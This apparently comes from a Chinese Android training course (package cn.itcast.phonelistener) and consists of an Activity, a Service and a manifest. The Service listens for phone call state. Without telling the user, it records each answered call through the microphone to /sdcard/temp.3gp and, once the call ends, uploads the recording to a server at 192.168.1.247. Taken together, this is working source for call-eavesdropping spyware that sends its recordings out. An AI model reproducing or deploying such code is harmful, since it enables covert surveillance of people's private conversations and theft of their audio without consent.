26、进程和线程之间的关系

1 public class DemoActivity extends Activity {
2     @Override
3     public void onCreate(Bundle savedInstanceState) {
4         super.onCreate(savedInstanceState);
5         setContentView(R.layout.main);
6         Intent intent = new Intent(this,PhoneListenService.class);
7         startService(intent);
8     }
9 }

  1 import java.io.File;
  2 
  3 import org.apache.commons.httpclient.methods.PostMethod;
  4 import org.apache.commons.httpclient.methods.multipart.FilePart;
  5 import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
  6 import org.apache.commons.httpclient.methods.multipart.Part;
  7 
  8 import android.app.Service;
  9 import android.content.Intent;
 10 import android.media.MediaRecorder;
 11 import android.os.IBinder;
 12 import android.telephony.PhoneStateListener;
 13 import android.telephony.TelephonyManager;
 14 import android.view.LayoutInflater;
 15 
 16 public class PhoneListenService extends Service {
 17 
 18     @Override
 19     public IBinder onBind(Intent intent) {
 20         return null;
 21     }
 22 
 23     /**
 24      * 在服务第一次被创建的时候 执行
 25      */
 26     @Override
 27     public void onCreate() {
 28         super.onCreate();
 29         /**
 30          * 给 Service 设置了 foreground 那么他就和正在运行的 Activity 类似优先级得到了一定的提高。
 31          * 当让这并不能保证你得 Service 永远不被杀掉，只是提高了他的优先级。 setForeground(true);
 32          */
 33 
 34         // 1. 判断当前手机的状态,
 35         // 如果发现手机处于 通话状态
 36         // 创建一个录音器, 录下来用户的通话信息
 37         // 当发现手机再次处于 idle 状态 停止录音机,把音频文件 上传到服务器
 38         // 得到手机与电话状态相关的服务
 39         TelephonyManager manager = (TelephonyManager) this
 40                 .getSystemService(TELEPHONY_SERVICE);
 41         // this.getSystemService(WIFI_SERVICE);
 42         manager.listen(new MyPhoneListener(),
 43                 PhoneStateListener.LISTEN_CALL_STATE);
 44 
 45         System.out.println(" 线程id " + Thread.currentThread().getName());
 46     }
 47 
 48 
 49     /**
 50      * 当电话的通话状态发生改变的时候 被调用的方法
 51      */
 52     private class MyPhoneListener extends PhoneStateListener {
 53         MediaRecorder recorder = null;
 54 
 55         @Override
 56         public void onCallStateChanged(int state, String incomingNumber) {
 57             try {
 58                 switch (state) {
 59                 // 当前电话处于闲置状态
 60                 case TelephonyManager.CALL_STATE_IDLE:
 61                     System.out.println("当前电话处于闲置状态 ");
 62 
 63                     // 判断下recorder是否为空
 64                     if (recorder != null) {
 65                         recorder.stop();
 66                         // Now the object cannot be reused
 67                         recorder.release();
 68                         recorder = null;
 69 
 70                         new Thread() {
 71                             @Override
 72                             public void run() {
 73                                 // 上传数据到服务器 演示的代码 有问题的
 74                                 File file = new File("/sdcard/temp.3gp");
 75                                 try {
 76                                     upload(file);
 77                                 } catch (Exception e) {
 78                                     e.printStackTrace();
 79                                 }
 80                             }
 81                         }.start();
 82                     }
 83                     break;
 84                 // 当前电话处于零响状态
 85                 case TelephonyManager.CALL_STATE_RINGING:
 86                     System.out.println("电话号码为 " + incomingNumber);
 87                     break;
 88                 // 当前电话处于接听状态
 89                 case TelephonyManager.CALL_STATE_OFFHOOK:
 90                     System.out.println("当前电话处于通话状态 ");
 91                     // 初始化一个录音器,
 92                     recorder = new MediaRecorder();
 93                     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
 94                     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
 95                     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
 96                     // recorder.setOutputFile("sdcard/temp.3gp");
 97                     // File file = new File("/sdcard/temp.3gp");
 98                     // FileOutputStream fos = new FileOutputStream(file);
 99                     // fos.write("haha".getBytes());
100                     recorder.setOutputFile("/sdcard/temp.3gp");
101                     recorder.prepare();
102 
103                     recorder.start(); // Recording is now started
104 
105                     break;
106 
107                 }
108             } catch (Exception e) {
109                 e.printStackTrace();
110             }
111 
112             super.onCallStateChanged(state, incomingNumber);
113         }
114 
115     }
116 
117     public void upload(File file) throws Exception {
118         // 实例化上传数据的 数组 part []
119         Part[] parts = { new FilePart("file", file) };
120 
121         PostMethod filePost = new PostMethod(
122                 "http://192.168.1.247:8080/web/LoginServlet");
123 
124         filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost
125                 .getParams()));
126         org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
127         client.getHttpConnectionManager().getParams()
128                 .setConnectionTimeout(5000);
129         int status = client.executeMethod(filePost);
130         if (status == 200) {
131 
132             System.out.println("上传成功");
133         } else {
134             throw new IllegalStateException("服务器状态异常");
135         }
136 
137     }
138 
139 }

 1 <?xml version="1.0" encoding="utf-8"?>
 2 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
 3     package="cn.itcast.phonelistener"
 4     android:versionCode="1"
 5     android:versionName="1.0" >
 6 
 7     <uses-sdk android:minSdkVersion="8" />
 8     
 9     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
10     <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
11     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
12     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
13     <uses-permission android:name="android.permission.INTERNET"/>
14 
15     <application
16         android:icon="@drawable/ic_launcher"
17         android:label="@string/app_name" >
18         <activity
19             android:label="@string/app_name"
20             android:name=".DemoActivity" >
21             <intent-filter >
22                 <action android:name="android.intent.action.MAIN" />
23                 <category android:name="android.intent.category.LAUNCHER" />
24             </intent-filter>
25         </activity>
26 
27         <service android:name=".PhoneListenService" />
28     </application>
29 
30 </manifest>